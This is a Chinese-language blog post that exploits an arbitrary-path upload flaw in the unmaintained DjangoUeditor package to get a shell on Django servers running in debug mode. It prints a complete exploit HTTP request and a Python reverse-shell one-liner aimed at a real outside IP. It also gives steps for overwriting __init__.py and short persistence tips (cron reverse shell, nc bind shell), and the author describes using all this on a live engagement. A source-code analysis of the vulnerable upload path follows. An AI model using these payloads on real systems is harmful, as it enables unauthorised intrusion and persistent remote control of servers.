DjangoUeditor任意文件上传到DEBUG getshell

DjangoUeditor

做项目的时候遇见了DjangoUeditor存在任意文件上传,并且DjangoUeditor已经停止更新,所以漏洞依然存在
blob.jpg
数据包:

POST /ueditor/controller/?imagePathFormat=uploads%2Fimages%2Fhehehe.html&filePathFormat=uploads%2Ffiles%2F&action=uploadimage&encode=utf-8 HTTP/1.1
Host: aaaaaaaaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: hibext_instdsigdipv2=1; csrftoken=VBHc9Bvck3veCwSluiKmnoeVDnquxsuU
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Type: multipart/form-data; boundary=--------304576285
Content-Length: 570

----------304576285
Content-Disposition: form-data; name="id"

WU_FILE_0
----------304576285
Content-Disposition: form-data; name="name"

Chr.jpg
----------304576285
Content-Disposition: form-data; name="type"

image/jpeg
----------304576285
Content-Disposition: form-data; name="lastModifidDate"

The Jul 14 2009 13:32:31 GMT 0000
----------304576285
Content-Disposition: form-data; name="size"

0123
----------304576285
Content-Disposition: form-data; name="upfile"; filename="Chr.jpg"
Content-Type: image/jepg

Chr.jpg
----------304576285--

blob.jpg

尝试任意路径上传

本地安装
https://github.com/zhangfisher/DjangoUeditor
由于版本问题利用docker运行

docker run -it -p127.0.0.1:8000:8080 --name djangotest -v ~/Desktop/djangotest:/django ubuntu
apt-get update
apt-get install python
pip install Django==1.8.5
pip install DjangoUeditor

测试发现可以跨目录上传
blob.jpg
blob.jpg
所以这里可以尝试覆盖init.py 来达到getshell的目的(在debug下应用文件受到会自动重启

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.79.212.239",1339));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

blob.jpg
blob.jpg
本地测试成功返回shell,这里要注意的是如何找应用目录

只适用于python manage起的debug,其他模式django不会自动重启

# django Debug下的关注报错信息
BASE_DIR
# 运行目录
WSGI_APPLICATION
# 可能会有app目录
TEMPLATE_DIRS
# 模板目录
Python Executable
# 启动方式 比如uwsgi启动

维权

做项目的时候管理员好像受到告警了,所以我只拿了两分钟不到的shell,然而我两分钟是真的手足无措,还没来的及翻文件(虽然之后他没删shell,又弹回来了233333)。真正对抗情况下很容易是只有几分钟的shell,在这有效的几分钟里怎么拿到长久的权限
1、反向shell计划任务

2、正向shell
– nc =>

分析

# 下载源码分析
git clone https://github.com/zhangfisher/DjangoUeditor.git
# url.py
from views import get_ueditor_controller

urlpatterns = patterns('',
    url(r'^controller/$',get_ueditor_controller)
)

追进views.get_ueditor_controller

@csrf_exempt
def get_ueditor_controller(request):
    """获取ueditor的后端URL地址    """

    action=request.GET.get("action","")
    reponseAction={
        "config":get_ueditor_settings,
        "uploadimage":UploadFile,
        "uploadscrawl":UploadFile,
        "uploadvideo":UploadFile,
        "uploadfile":UploadFile,
        "catchimage":catcher_remote_image,
        "listimage":list_files,
        "listfile":list_files
    }
    return reponseAction[action](request)

实际上payload的url /ueditor/controller/?imagePathFormat=uploads%2Fimages%2Fhehehe.html&filePathFormat=uploads%2Ffiles%2F&action=uploadimage&encode=utf-8action=uploadimage是调用了UploadFile的方法,追入此方法

    #检测保存路径是否存在,如果不存在则需要创建
    upload_path_format={
        "uploadfile":"filePathFormat",
        "uploadimage":"imagePathFormat",
        "uploadscrawl":"scrawlPathFormat",
        "uploadvideo":"videoPathFormat"
    }

    path_format_var=get_path_format_vars()
    path_format_var.update({
        "basename":upload_original_name,
        "extname":upload_original_ext[1:],
        "filename":upload_file_name,
    })
    #取得输出文件的路径
    OutputPathFormat,OutputPath,OutputFile=get_output_path(request,upload_path_format[action],path_format_var)

发现是将imagePathFormat

{
    'date': '20190417',
    'datetime': '20190417161731',
    'day': '17',
    'month': '04',
    'rnd': 650,
    'time': '161731',
    'year': '2019'
}

传入了get_output_path函数中,追入函数

def get_output_path(request,path_format,path_format_var):
    #取得输出文件的路径
    OutputPathFormat=(request.GET.get(path_format,USettings.UEditorSettings["defaultPathFormat"]) % path_format_var).replace("\\","/")
    #分解OutputPathFormat
    OutputPath,OutputFile=os.path.split(OutputPathFormat)
    OutputPath=os.path.join(USettings.gSettings.MEDIA_ROOT,OutputPath)
    if not OutputFile:#如果OutputFile为空说明传入的OutputPathFormat没有包含文件名,因此需要用默认的文件名
        OutputFile=USettings.UEditorSettings["defaultPathFormat"] % path_format_var
        OutputPathFormat=os.path.join(OutputPathFormat,OutputFile)
    if not os.path.exists(OutputPath):
        os.makedirs(OutputPath)
    return ( OutputPathFormat,OutputPath,OutputFile)

步步看

OutputPathFormat = "uploads/images/hehehe.html" % { "xxx" : "1212"} 
# "uploads/images/hehehe.html"
OutputPath,OutputFile=os.path.split(OutputPathFormat)
# OutputPath = uploads/images/
# OutputFile = hehehe.html
# ....
return ( OutputPathFormat,OutputPath,OutputFile)

明显看的出来输出的OutputPath 与 OutputFile 都已经是自己定义的了

# ......
state = save_upload_file(file, os.path.join(OutputPath, OutputFile))
# ......
def save_upload_file(PostFile,FilePath):
    try:
        f = open(FilePath, 'wb')
        for chunk in PostFile.chunks():
            f.write(chunk)
    except Exception,E:
        f.close()
        return u"写入文件错误:"+ E.message
    f.close()
    return u"SUCCESS"

save_upload_file里,直接利用了file.write将文件写入了我们自定义的FilePath里面,达到了任意路径、文件上传的效果

虽然这是一个老洞,但是由于很多开发对漏洞的不熟悉、以及对开源软件的信任,导致漏洞存在很久还是可能可以使用的情况,对攻击者来说,我觉得下面这句话说的是分正确,知识面不止要新,旧的也得有、全面学习才行

你的知识面决定了你攻击的深度。

参考:
🔗http://blog.nsfocus.net/djangoueditor-file-upload-vulnerability-analysis/

One thought on “DjangoUeditor任意文件上传到DEBUG getshell”

  1. Pingback: viagra

发表评论